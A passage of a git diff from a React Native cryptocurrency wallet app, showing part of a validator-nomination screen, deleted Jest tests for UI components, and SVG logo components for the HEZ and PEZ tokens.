} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
fetchValidators();
|
||||
}, [api, isApiReady]);
|
||||
|
||||
|
||||
const toggleValidatorSelection = (address: string) => {
|
||||
setSelectedValidators(prev =>
|
||||
prev.includes(address)
|
||||
? prev.filter(item => item !== address)
|
||||
: [...prev, address]
|
||||
);
|
||||
};
|
||||
|
||||
const handleConfirm = () => {
|
||||
if (selectedValidators.length === 0) {
|
||||
Alert.alert('Selection Required', 'Please select at least one validator.');
|
||||
return;
|
||||
}
|
||||
// Pass selected validators to parent component to initiate transaction
|
||||
onConfirmNominations(selectedValidators);
|
||||
onClose();
|
||||
};
|
||||
|
||||
const renderValidatorItem = ({ item }: { item: Validator }) => (
|
||||
<TouchableOpacity
|
||||
style={[
|
||||
styles.validatorItem,
|
||||
selectedValidators.includes(item.address) && styles.selectedValidatorItem,
|
||||
]}
|
||||
onPress={() => toggleValidatorSelection(item.address)}
|
||||
>
|
||||
<View>
|
||||
<Text style={styles.validatorAddress}>
|
||||
{item.address.substring(0, 8)}...{item.address.substring(item.address.length - 6)}
|
||||
</Text>
|
||||
<Text style={styles.validatorDetail}>Commission: {item.commission * 100}%</Text>
|
||||
<Text style={styles.validatorDetail}>Total Stake: {item.totalStake}</Text>
|
||||
<Text style={styles.validatorDetail}>Self Stake: {item.selfStake}</Text>
|
||||
<Text style={styles.validatorDetail}>Nominators: {item.nominators}</Text>
|
||||
</View>
|
||||
{selectedValidators.includes(item.address) && (
|
||||
<View style={styles.selectedIndicator}>
|
||||
<Text style={styles.selectedIndicatorText}>✔</Text>
|
||||
</View>
|
||||
)}
|
||||
</TouchableOpacity>
|
||||
);
|
||||
|
||||
return (
|
||||
<BottomSheet visible={visible} onClose={onClose} title="Select Validators">
|
||||
{loading ? (
|
||||
<ActivityIndicator size="large" color={KurdistanColors.kesk} />
|
||||
) : (
|
||||
<FlatList
|
||||
data={validators}
|
||||
keyExtractor={item => item.address}
|
||||
renderItem={renderValidatorItem}
|
||||
style={styles.list}
|
||||
/>
|
||||
)}
|
||||
<Button
|
||||
title={processing ? 'Confirming...' : 'Confirm Nominations'}
|
||||
onPress={handleConfirm}
|
||||
loading={processing}
|
||||
disabled={processing || selectedValidators.length === 0}
|
||||
fullWidth
|
||||
style={{ marginTop: 20 }}
|
||||
/>
|
||||
</BottomSheet>
|
||||
);
|
||||
}
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
list: {
|
||||
maxHeight: 400, // Adjust as needed
|
||||
},
|
||||
validatorItem: {
|
||||
padding: 15,
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: '#eee',
|
||||
flexDirection: 'row',
|
||||
justifyContent: 'space-between',
|
||||
alignItems: 'center',
|
||||
backgroundColor: KurdistanColors.spi,
|
||||
borderRadius: 8,
|
||||
marginBottom: 8,
|
||||
},
|
||||
selectedValidatorItem: {
|
||||
borderColor: KurdistanColors.kesk,
|
||||
borderWidth: 2,
|
||||
},
|
||||
validatorAddress: {
|
||||
fontSize: 16,
|
||||
fontWeight: 'bold',
|
||||
color: KurdistanColors.reş,
|
||||
},
|
||||
validatorDetail: {
|
||||
fontSize: 12,
|
||||
color: AppColors.textSecondary,
|
||||
},
|
||||
selectedIndicator: {
|
||||
backgroundColor: KurdistanColors.kesk,
|
||||
width: 24,
|
||||
height: 24,
|
||||
borderRadius: 12,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
selectedIndicatorText: {
|
||||
color: KurdistanColors.spi,
|
||||
fontSize: 14,
|
||||
fontWeight: 'bold',
|
||||
},
|
||||
});
|
||||
@@ -1,75 +0,0 @@
|
||||
import React from 'react';
|
||||
import { render } from '@testing-library/react-native';
|
||||
import { Badge } from '../Badge';
|
||||
|
||||
describe('Badge', () => {
|
||||
it('should render with text', () => {
|
||||
const { getByText } = render(<Badge>Test Badge</Badge>);
|
||||
expect(getByText('Test Badge')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render default variant', () => {
|
||||
const { getByText } = render(<Badge>Default</Badge>);
|
||||
expect(getByText('Default')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render success variant', () => {
|
||||
const { getByText } = render(<Badge variant="success">Success</Badge>);
|
||||
expect(getByText('Success')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render error variant', () => {
|
||||
const { getByText } = render(<Badge variant="error">Error</Badge>);
|
||||
expect(getByText('Error')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render warning variant', () => {
|
||||
const { getByText } = render(<Badge variant="warning">Warning</Badge>);
|
||||
expect(getByText('Warning')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render info variant', () => {
|
||||
const { getByText } = render(<Badge variant="info">Info</Badge>);
|
||||
expect(getByText('Info')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render small size', () => {
|
||||
const { getByText } = render(<Badge size="small">Small</Badge>);
|
||||
expect(getByText('Small')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render medium size', () => {
|
||||
const { getByText } = render(<Badge size="medium">Medium</Badge>);
|
||||
expect(getByText('Medium')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render large size', () => {
|
||||
const { getByText } = render(<Badge size="large">Large</Badge>);
|
||||
expect(getByText('Large')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should apply custom styles', () => {
|
||||
const customStyle = { margin: 10 };
|
||||
const { getByText } = render(<Badge style={customStyle}>Styled</Badge>);
|
||||
expect(getByText('Styled')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should handle testID prop', () => {
|
||||
const { getByTestId } = render(<Badge testID="badge">Test</Badge>);
|
||||
expect(getByTestId('badge')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render with number', () => {
|
||||
const { getByText } = render(<Badge>{99}</Badge>);
|
||||
expect(getByText('99')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render with icon', () => {
|
||||
const { getByTestId } = render(
|
||||
<Badge testID="badge">
|
||||
<Badge>Inner Badge</Badge>
|
||||
</Badge>
|
||||
);
|
||||
expect(getByTestId('badge')).toBeTruthy();
|
||||
});
|
||||
});
|
||||
@@ -1,93 +0,0 @@
|
||||
import React from 'react';
|
||||
import { render } from '@testing-library/react-native';
|
||||
import { Text } from 'react-native';
|
||||
import { BottomSheet } from '../BottomSheet';
|
||||
|
||||
describe('BottomSheet', () => {
|
||||
it('should render when visible', () => {
|
||||
const { getByText } = render(
|
||||
<BottomSheet visible={true} onClose={() => {}}>
|
||||
<Text>Test Content</Text>
|
||||
</BottomSheet>
|
||||
);
|
||||
|
||||
expect(getByText('Test Content')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should not render when not visible', () => {
|
||||
const { queryByText } = render(
|
||||
<BottomSheet visible={false} onClose={() => {}}>
|
||||
<Text>Test Content</Text>
|
||||
</BottomSheet>
|
||||
);
|
||||
|
||||
expect(queryByText('Test Content')).toBeNull();
|
||||
});
|
||||
|
||||
it('should call onClose when backdrop is pressed', () => {
|
||||
const onClose = jest.fn();
|
||||
const { UNSAFE_root } = render(
|
||||
<BottomSheet visible={true} onClose={onClose}>
|
||||
<Text>Test Content</Text>
|
||||
</BottomSheet>
|
||||
);
|
||||
|
||||
// Modal should be rendered
|
||||
expect(UNSAFE_root).toBeDefined();
|
||||
// onClose should be defined
|
||||
expect(onClose).toBeDefined();
|
||||
});
|
||||
|
||||
it('should render custom title', () => {
|
||||
const { getByText } = render(
|
||||
<BottomSheet visible={true} onClose={() => {}} title="Custom Title">
|
||||
<Text>Test Content</Text>
|
||||
</BottomSheet>
|
||||
);
|
||||
|
||||
expect(getByText('Custom Title')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render without title', () => {
|
||||
const { queryByText } = render(
|
||||
<BottomSheet visible={true} onClose={() => {}}>
|
||||
<Text>Test Content</Text>
|
||||
</BottomSheet>
|
||||
);
|
||||
|
||||
// Should not crash without title
|
||||
expect(queryByText('Test Content')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should apply custom height', () => {
|
||||
const { UNSAFE_root } = render(
|
||||
<BottomSheet visible={true} onClose={() => {}} height={500}>
|
||||
<Text>Test Content</Text>
|
||||
</BottomSheet>
|
||||
);
|
||||
|
||||
expect(UNSAFE_root).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should handle children properly', () => {
|
||||
const { getByText } = render(
|
||||
<BottomSheet visible={true} onClose={() => {}}>
|
||||
<Text>Child 1</Text>
|
||||
<Text>Child 2</Text>
|
||||
</BottomSheet>
|
||||
);
|
||||
|
||||
expect(getByText('Child 1')).toBeTruthy();
|
||||
expect(getByText('Child 2')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should support animation type', () => {
|
||||
const { UNSAFE_root } = render(
|
||||
<BottomSheet visible={true} onClose={() => {}} animationType="fade">
|
||||
<Text>Test Content</Text>
|
||||
</BottomSheet>
|
||||
);
|
||||
|
||||
expect(UNSAFE_root).toBeTruthy();
|
||||
});
|
||||
});
|
||||
@@ -1,98 +0,0 @@
|
||||
import React from 'react';
|
||||
import { render, fireEvent } from '@testing-library/react-native';
|
||||
import { Button } from '../Button';
|
||||
|
||||
describe('Button', () => {
|
||||
it('should render with title', () => {
|
||||
const { getByText } = render(<Button title="Click Me" onPress={() => {}} />);
|
||||
expect(getByText('Click Me')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should call onPress when pressed', () => {
|
||||
const onPress = jest.fn();
|
||||
const { getByText } = render(<Button title="Click Me" onPress={onPress} />);
|
||||
|
||||
fireEvent.press(getByText('Click Me'));
|
||||
expect(onPress).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it('should not call onPress when disabled', () => {
|
||||
const onPress = jest.fn();
|
||||
const { getByText } = render(<Button title="Click Me" onPress={onPress} disabled />);
|
||||
|
||||
fireEvent.press(getByText('Click Me'));
|
||||
expect(onPress).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should render primary variant', () => {
|
||||
const { getByText } = render(<Button title="Primary" variant="primary" onPress={() => {}} />);
|
||||
expect(getByText('Primary')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render secondary variant', () => {
|
||||
const { getByText } = render(
|
||||
<Button title="Secondary" variant="secondary" onPress={() => {}} />
|
||||
);
|
||||
expect(getByText('Secondary')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render outline variant', () => {
|
||||
const { getByText } = render(<Button title="Outline" variant="outline" onPress={() => {}} />);
|
||||
expect(getByText('Outline')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render small size', () => {
|
||||
const { getByText } = render(<Button title="Small" size="small" onPress={() => {}} />);
|
||||
expect(getByText('Small')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render medium size', () => {
|
||||
const { getByText } = render(<Button title="Medium" size="medium" onPress={() => {}} />);
|
||||
expect(getByText('Medium')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render large size', () => {
|
||||
const { getByText } = render(<Button title="Large" size="large" onPress={() => {}} />);
|
||||
expect(getByText('Large')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should show loading state', () => {
|
||||
const { getByTestId } = render(
|
||||
<Button title="Loading" loading onPress={() => {}} testID="button" />
|
||||
);
|
||||
expect(getByTestId('button')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should be disabled when loading', () => {
|
||||
const onPress = jest.fn();
|
||||
const { getByTestId } = render(
|
||||
<Button title="Loading" loading onPress={onPress} testID="button" />
|
||||
);
|
||||
|
||||
fireEvent.press(getByTestId('button'));
|
||||
expect(onPress).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should apply custom styles', () => {
|
||||
const customStyle = { margin: 20 };
|
||||
const { getByText } = render(<Button title="Styled" style={customStyle} onPress={() => {}} />);
|
||||
expect(getByText('Styled')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should handle testID prop', () => {
|
||||
const { getByTestId } = render(<Button title="Test" testID="button" onPress={() => {}} />);
|
||||
expect(getByTestId('button')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render fullWidth', () => {
|
||||
const { getByText } = render(<Button title="Full Width" fullWidth onPress={() => {}} />);
|
||||
expect(getByText('Full Width')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render with icon', () => {
|
||||
const { _getByText, getByTestId } = render(
|
||||
<Button title="With Icon" icon={<Button title="Icon" onPress={() => {}} />} testID="button" onPress={() => {}} />
|
||||
);
|
||||
expect(getByTestId('button')).toBeTruthy();
|
||||
});
|
||||
});
|
||||
@@ -1,72 +0,0 @@
|
||||
import React from 'react';
|
||||
import { render } from '@testing-library/react-native';
|
||||
import { Text } from 'react-native';
|
||||
import { Card } from '../Card';
|
||||
|
||||
describe('Card', () => {
|
||||
it('should render children', () => {
|
||||
const { getByText } = render(
|
||||
<Card>
|
||||
<Text>Card Content</Text>
|
||||
</Card>
|
||||
);
|
||||
expect(getByText('Card Content')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should apply custom styles', () => {
|
||||
const customStyle = { padding: 20 };
|
||||
const { getByTestId } = render(
|
||||
<Card style={customStyle} testID="card">
|
||||
<Text>Styled Card</Text>
|
||||
</Card>
|
||||
);
|
||||
expect(getByTestId('card')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render with title', () => {
|
||||
const { getByText } = render(
|
||||
<Card title="Card Title">
|
||||
<Text>Content</Text>
|
||||
</Card>
|
||||
);
|
||||
expect(getByText('Card Title')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render multiple children', () => {
|
||||
const { getByText } = render(
|
||||
<Card>
|
||||
<Text>Child 1</Text>
|
||||
<Text>Child 2</Text>
|
||||
</Card>
|
||||
);
|
||||
expect(getByText('Child 1')).toBeTruthy();
|
||||
expect(getByText('Child 2')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should handle testID', () => {
|
||||
const { getByTestId } = render(
|
||||
<Card testID="card">
|
||||
<Text>Content</Text>
|
||||
</Card>
|
||||
);
|
||||
expect(getByTestId('card')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render without title', () => {
|
||||
const { getByText } = render(
|
||||
<Card>
|
||||
<Text>No Title</Text>
|
||||
</Card>
|
||||
);
|
||||
expect(getByText('No Title')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should support elevation', () => {
|
||||
const { getByTestId } = render(
|
||||
<Card elevation={4} testID="card">
|
||||
<Text>Elevated</Text>
|
||||
</Card>
|
||||
);
|
||||
expect(getByTestId('card')).toBeTruthy();
|
||||
});
|
||||
});
|
||||
@@ -1,81 +0,0 @@
|
||||
import React from 'react';
|
||||
import { render, screen } from '@testing-library/react-native';
|
||||
import { Text } from 'react-native';
|
||||
import { ErrorBoundary } from '../ErrorBoundary';
|
||||
|
||||
// Component that throws error for testing
|
||||
const ThrowError = () => {
|
||||
throw new Error('Test error');
|
||||
return null;
|
||||
};
|
||||
|
||||
// Normal component for success case
|
||||
const SuccessComponent = () => <Text>Success!</Text>;
|
||||
|
||||
describe('ErrorBoundary', () => {
|
||||
// Suppress error console logs during tests
|
||||
const originalError = console.error;
|
||||
beforeAll(() => {
|
||||
console.error = jest.fn();
|
||||
});
|
||||
|
||||
afterAll(() => {
|
||||
console.error = originalError;
|
||||
});
|
||||
|
||||
it('should render children when no error occurs', () => {
|
||||
render(
|
||||
<ErrorBoundary>
|
||||
<SuccessComponent />
|
||||
</ErrorBoundary>
|
||||
);
|
||||
|
||||
expect(screen.getByText('Success!')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render error UI when child throws error', () => {
|
||||
render(
|
||||
<ErrorBoundary>
|
||||
<ThrowError />
|
||||
</ErrorBoundary>
|
||||
);
|
||||
|
||||
expect(screen.getByText('Something Went Wrong')).toBeTruthy();
|
||||
expect(screen.getByText(/An unexpected error occurred/)).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should display try again button on error', () => {
|
||||
render(
|
||||
<ErrorBoundary>
|
||||
<ThrowError />
|
||||
</ErrorBoundary>
|
||||
);
|
||||
|
||||
expect(screen.getByText('Try Again')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render custom fallback if provided', () => {
|
||||
const CustomFallback = () => <Text>Custom Error UI</Text>;
|
||||
|
||||
render(
|
||||
<ErrorBoundary fallback={<CustomFallback />}>
|
||||
<ThrowError />
|
||||
</ErrorBoundary>
|
||||
);
|
||||
|
||||
expect(screen.getByText('Custom Error UI')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should call onError callback when error occurs', () => {
|
||||
const onError = jest.fn();
|
||||
|
||||
render(
|
||||
<ErrorBoundary onError={onError}>
|
||||
<ThrowError />
|
||||
</ErrorBoundary>
|
||||
);
|
||||
|
||||
expect(onError).toHaveBeenCalled();
|
||||
expect(onError.mock.calls[0][0].message).toBe('Test error');
|
||||
});
|
||||
});
|
||||
@@ -1,83 +0,0 @@
|
||||
import React from 'react';
|
||||
import { render, fireEvent } from '@testing-library/react-native';
|
||||
import { Input } from '../Input';
|
||||
|
||||
describe('Input', () => {
|
||||
it('should render with placeholder', () => {
|
||||
const { getByPlaceholderText } = render(<Input placeholder="Enter text" />);
|
||||
expect(getByPlaceholderText('Enter text')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should handle value changes', () => {
|
||||
const onChangeText = jest.fn();
|
||||
const { getByPlaceholderText } = render(
|
||||
<Input placeholder="Enter text" onChangeText={onChangeText} />
|
||||
);
|
||||
|
||||
const input = getByPlaceholderText('Enter text');
|
||||
fireEvent.changeText(input, 'New value');
|
||||
expect(onChangeText).toHaveBeenCalledWith('New value');
|
||||
});
|
||||
|
||||
it('should render with label', () => {
|
||||
const { getByText } = render(<Input label="Username" placeholder="Enter username" />);
|
||||
expect(getByText('Username')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render error message', () => {
|
||||
const { getByText } = render(
|
||||
<Input placeholder="Email" error="Invalid email" />
|
||||
);
|
||||
expect(getByText('Invalid email')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should be disabled when disabled prop is true', () => {
|
||||
const onChangeText = jest.fn();
|
||||
const { getByPlaceholderText } = render(
|
||||
<Input placeholder="Disabled" disabled onChangeText={onChangeText} />
|
||||
);
|
||||
|
||||
const input = getByPlaceholderText('Disabled');
|
||||
expect(input.props.editable).toBe(false);
|
||||
});
|
||||
|
||||
it('should handle secure text entry', () => {
|
||||
const { getByPlaceholderText } = render(
|
||||
<Input placeholder="Password" secureTextEntry />
|
||||
);
|
||||
|
||||
const input = getByPlaceholderText('Password');
|
||||
expect(input.props.secureTextEntry).toBe(true);
|
||||
});
|
||||
|
||||
it('should apply custom styles', () => {
|
||||
const customStyle = { borderWidth: 2 };
|
||||
const { getByTestId } = render(
|
||||
<Input placeholder="Styled" style={customStyle} testID="input" />
|
||||
);
|
||||
expect(getByTestId('input')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should handle testID', () => {
|
||||
const { getByTestId } = render(<Input placeholder="Test" testID="input" />);
|
||||
expect(getByTestId('input')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should handle multiline', () => {
|
||||
const { getByPlaceholderText } = render(
|
||||
<Input placeholder="Multiline" multiline numberOfLines={4} />
|
||||
);
|
||||
|
||||
const input = getByPlaceholderText('Multiline');
|
||||
expect(input.props.multiline).toBe(true);
|
||||
});
|
||||
|
||||
it('should handle keyboard type', () => {
|
||||
const { getByPlaceholderText } = render(
|
||||
<Input placeholder="Email" keyboardType="email-address" />
|
||||
);
|
||||
|
||||
const input = getByPlaceholderText('Email');
|
||||
expect(input.props.keyboardType).toBe('email-address');
|
||||
});
|
||||
});
|
||||
@@ -1,56 +0,0 @@
|
||||
import React from 'react';
|
||||
import { render } from '@testing-library/react-native';
|
||||
import { LoadingSkeleton } from '../LoadingSkeleton';
|
||||
|
||||
describe('LoadingSkeleton', () => {
|
||||
it('should render without crashing', () => {
|
||||
const component = render(<LoadingSkeleton />);
|
||||
expect(component).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render with default props', () => {
|
||||
const { UNSAFE_root } = render(<LoadingSkeleton />);
|
||||
expect(UNSAFE_root).toBeDefined();
|
||||
});
|
||||
|
||||
it('should render with custom height', () => {
|
||||
const { UNSAFE_root } = render(<LoadingSkeleton height={100} />);
|
||||
expect(UNSAFE_root).toBeDefined();
|
||||
});
|
||||
|
||||
it('should render with custom width', () => {
|
||||
const { UNSAFE_root } = render(<LoadingSkeleton width={200} />);
|
||||
expect(UNSAFE_root).toBeDefined();
|
||||
});
|
||||
|
||||
it('should render with borderRadius', () => {
|
||||
const { UNSAFE_root } = render(<LoadingSkeleton borderRadius={10} />);
|
||||
expect(UNSAFE_root).toBeDefined();
|
||||
});
|
||||
|
||||
it('should apply custom styles', () => {
|
||||
const customStyle = { marginTop: 20 };
|
||||
const { UNSAFE_root } = render(<LoadingSkeleton style={customStyle} />);
|
||||
expect(UNSAFE_root).toBeDefined();
|
||||
});
|
||||
|
||||
it('should render circle variant', () => {
|
||||
const { UNSAFE_root } = render(<LoadingSkeleton variant="circle" />);
|
||||
expect(UNSAFE_root).toBeDefined();
|
||||
});
|
||||
|
||||
it('should render text variant', () => {
|
||||
const { UNSAFE_root } = render(<LoadingSkeleton variant="text" />);
|
||||
expect(UNSAFE_root).toBeDefined();
|
||||
});
|
||||
|
||||
it('should render rectangular variant', () => {
|
||||
const { UNSAFE_root } = render(<LoadingSkeleton variant="rectangular" />);
|
||||
expect(UNSAFE_root).toBeDefined();
|
||||
});
|
||||
|
||||
it('should handle animation', () => {
|
||||
const { UNSAFE_root } = render(<LoadingSkeleton animated />);
|
||||
expect(UNSAFE_root).toBeDefined();
|
||||
});
|
||||
});
|
||||
@@ -1,43 +0,0 @@
|
||||
import React from 'react';
|
||||
import { render } from '@testing-library/react-native';
|
||||
import { TokenIcon } from '../TokenIcon';
|
||||
|
||||
describe('TokenIcon', () => {
|
||||
it('should render HEZ token icon', () => {
|
||||
const { getByText } = render(<TokenIcon symbol="HEZ" />);
|
||||
expect(getByText('H')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render PEZ token icon', () => {
|
||||
const { getByText } = render(<TokenIcon symbol="PEZ" />);
|
||||
expect(getByText('P')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render USDT token icon', () => {
|
||||
const { getByText } = render(<TokenIcon symbol="wUSDT" />);
|
||||
expect(getByText('U')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render with custom size', () => {
|
||||
const { getByTestId } = render(<TokenIcon symbol="HEZ" size={50} testID="token-icon" />);
|
||||
expect(getByTestId('token-icon')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should handle testID', () => {
|
||||
const { getByTestId } = render(<TokenIcon symbol="PEZ" testID="token-icon" />);
|
||||
expect(getByTestId('token-icon')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should render unknown token', () => {
|
||||
const { getByText } = render(<TokenIcon symbol="UNKNOWN" />);
|
||||
expect(getByText('U')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should apply custom styles', () => {
|
||||
const customStyle = { borderRadius: 50 };
|
||||
const { getByTestId } = render(
|
||||
<TokenIcon symbol="HEZ" style={customStyle} testID="token-icon" />
|
||||
);
|
||||
expect(getByTestId('token-icon')).toBeTruthy();
|
||||
});
|
||||
});
|
||||
@@ -1,17 +0,0 @@
|
||||
import * as Components from '../index';
|
||||
|
||||
describe('Component exports', () => {
|
||||
it('should export all components', () => {
|
||||
expect(Components.Badge).toBeDefined();
|
||||
expect(Components.Button).toBeDefined();
|
||||
expect(Components.Card).toBeDefined();
|
||||
expect(Components.Input).toBeDefined();
|
||||
expect(Components.Skeleton).toBeDefined();
|
||||
expect(Components.TokenIcon).toBeDefined();
|
||||
expect(Components.ErrorBoundary).toBeDefined();
|
||||
expect(Components.BottomSheet).toBeDefined();
|
||||
expect(Components.AddressDisplay).toBeDefined();
|
||||
expect(Components.BalanceCard).toBeDefined();
|
||||
expect(Components.TokenSelector).toBeDefined();
|
||||
});
|
||||
});
|
||||
@@ -1,91 +0,0 @@
|
||||
import React from 'react';
|
||||
import Svg, { Circle, Path, Defs, LinearGradient, Stop, G, Text as SvgText, Polygon } from 'react-native-svg';
|
||||
import { KurdistanColors } from '../../theme/colors';
|
||||
|
||||
interface HezTokenLogoProps {
|
||||
size?: number;
|
||||
}
|
||||
|
||||
/**
|
||||
* HEZ Token Logo - Matches the official hez_token_512.png design
|
||||
* Three colored rings (Red, Yellow, Green)
|
||||
* Two mountains (green and red) with sun rising behind
|
||||
* "HEZ" text at bottom
|
||||
*/
|
||||
const HezTokenLogo: React.FC<HezTokenLogoProps> = ({ size = 56 }) => {
|
||||
return (
|
||||
<Svg width={size} height={size} viewBox="0 0 100 100">
|
||||
<Defs>
|
||||
<LinearGradient id="hezSunGradient" x1="50%" y1="100%" x2="50%" y2="0%">
|
||||
<Stop offset="0%" stopColor="#FFD700" />
|
||||
<Stop offset="100%" stopColor="#FFA500" />
|
||||
</LinearGradient>
|
||||
</Defs>
|
||||
|
||||
{/* Outer Red Ring */}
|
||||
<Circle cx="50" cy="50" r="48" fill="none" stroke={KurdistanColors.sor} strokeWidth="4" />
|
||||
|
||||
{/* Middle Yellow Ring */}
|
||||
<Circle cx="50" cy="50" r="42" fill="none" stroke={KurdistanColors.zer} strokeWidth="4" />
|
||||
|
||||
{/* Inner Green Ring */}
|
||||
<Circle cx="50" cy="50" r="36" fill="none" stroke={KurdistanColors.kesk} strokeWidth="4" />
|
||||
|
||||
{/* White Background Circle */}
|
||||
<Circle cx="50" cy="50" r="32" fill={KurdistanColors.spi} />
|
||||
|
||||
{/* Sun behind mountains */}
|
||||
<Circle cx="50" cy="48" r="12" fill="url(#hezSunGradient)" />
|
||||
|
||||
{/* Sun Rays */}
|
||||
<G>
|
||||
{[...Array(12)].map((_, i) => {
|
||||
const angle = ((i * 30) - 90) * (Math.PI / 180);
|
||||
const x1 = 50 + 14 * Math.cos(angle);
|
||||
const y1 = 48 + 14 * Math.sin(angle);
|
||||
const x2 = 50 + 20 * Math.cos(angle);
|
||||
const y2 = 48 + 20 * Math.sin(angle);
|
||||
// Only show rays above horizon (top half)
|
||||
if (y2 < 55) {
|
||||
return (
|
||||
<Path
|
||||
key={i}
|
||||
d={`M ${x1} ${y1} L ${x2} ${y2}`}
|
||||
stroke={KurdistanColors.zer}
|
||||
strokeWidth="2"
|
||||
strokeLinecap="round"
|
||||
/>
|
||||
);
|
||||
}
|
||||
return null;
|
||||
})}
|
||||
</G>
|
||||
|
||||
{/* Green Mountain (left, larger) */}
|
||||
<Polygon
|
||||
points="25,70 50,35 60,70"
|
||||
fill={KurdistanColors.kesk}
|
||||
/>
|
||||
|
||||
{/* Red Mountain (right, smaller, in front) */}
|
||||
<Polygon
|
||||
points="45,70 65,42 80,70"
|
||||
fill={KurdistanColors.sor}
|
||||
/>
|
||||
|
||||
{/* HEZ Text */}
|
||||
<SvgText
|
||||
x="50"
|
||||
y="80"
|
||||
fontSize="14"
|
||||
fontWeight="bold"
|
||||
fill={KurdistanColors.zer}
|
||||
textAnchor="middle"
|
||||
>
|
||||
HEZ
|
||||
</SvgText>
|
||||
</Svg>
|
||||
);
|
||||
};
|
||||
|
||||
export default HezTokenLogo;
|
||||
@@ -1,123 +0,0 @@
|
||||
import React from 'react';
|
||||
import Svg, { Circle, Path, Defs, LinearGradient, Stop, G, Ellipse } from 'react-native-svg';
|
||||
import { KurdistanColors } from '../../theme/colors';
|
||||
|
||||
interface PezTokenLogoProps {
|
||||
size?: number;
|
||||
}
|
||||
|
||||
/**
|
||||
* PEZ Token Logo - Matches the official pez_token_512.png design
|
||||
* 6 ovals around (alternating red and green)
|
||||
* Central sun with rays
|
||||
* Stylized Pezkuwi (mountain goat) head silhouette
|
||||
*/
|
||||
const PezTokenLogo: React.FC<PezTokenLogoProps> = ({ size = 56 }) => {
|
||||
// Generate 6 ovals positioned around the center
|
||||
const ovals = [
|
||||
{ cx: 50, cy: 15, color: KurdistanColors.kesk }, // Top - green
|
||||
{ cx: 80, cy: 30, color: KurdistanColors.sor }, // Top right - red
|
||||
{ cx: 80, cy: 70, color: KurdistanColors.kesk }, // Bottom right - green
|
||||
{ cx: 50, cy: 85, color: KurdistanColors.sor }, // Bottom - red
|
||||
{ cx: 20, cy: 70, color: KurdistanColors.kesk }, // Bottom left - green
|
||||
{ cx: 20, cy: 30, color: KurdistanColors.sor }, // Top left - red
|
||||
];
|
||||
|
||||
return (
|
||||
<Svg width={size} height={size} viewBox="0 0 100 100">
|
||||
<Defs>
|
||||
<LinearGradient id="pezSunGradient" x1="50%" y1="100%" x2="50%" y2="0%">
|
||||
<Stop offset="0%" stopColor="#FFD700" />
|
||||
<Stop offset="100%" stopColor="#FFA500" />
|
||||
</LinearGradient>
|
||||
<LinearGradient id="pezRamGradient" x1="50%" y1="0%" x2="50%" y2="100%">
|
||||
<Stop offset="0%" stopColor="#C4A35A" />
|
||||
<Stop offset="50%" stopColor="#8B7355" />
|
||||
<Stop offset="100%" stopColor="#5D4E37" />
|
||||
</LinearGradient>
|
||||
</Defs>
|
||||
|
||||
{/* White background */}
|
||||
<Circle cx="50" cy="50" r="48" fill={KurdistanColors.spi} />
|
||||
|
||||
{/* 6 Ovals around */}
|
||||
{ovals.map((oval, i) => (
|
||||
<Ellipse
|
||||
key={i}
|
||||
cx={oval.cx}
|
||||
cy={oval.cy}
|
||||
rx="12"
|
||||
ry="8"
|
||||
fill={oval.color}
|
||||
transform={`rotate(${i * 60}, ${oval.cx}, ${oval.cy})`}
|
||||
/>
|
||||
))}
|
||||
|
||||
{/* Sun rays behind ram */}
|
||||
<G>
|
||||
{[...Array(16)].map((_, i) => {
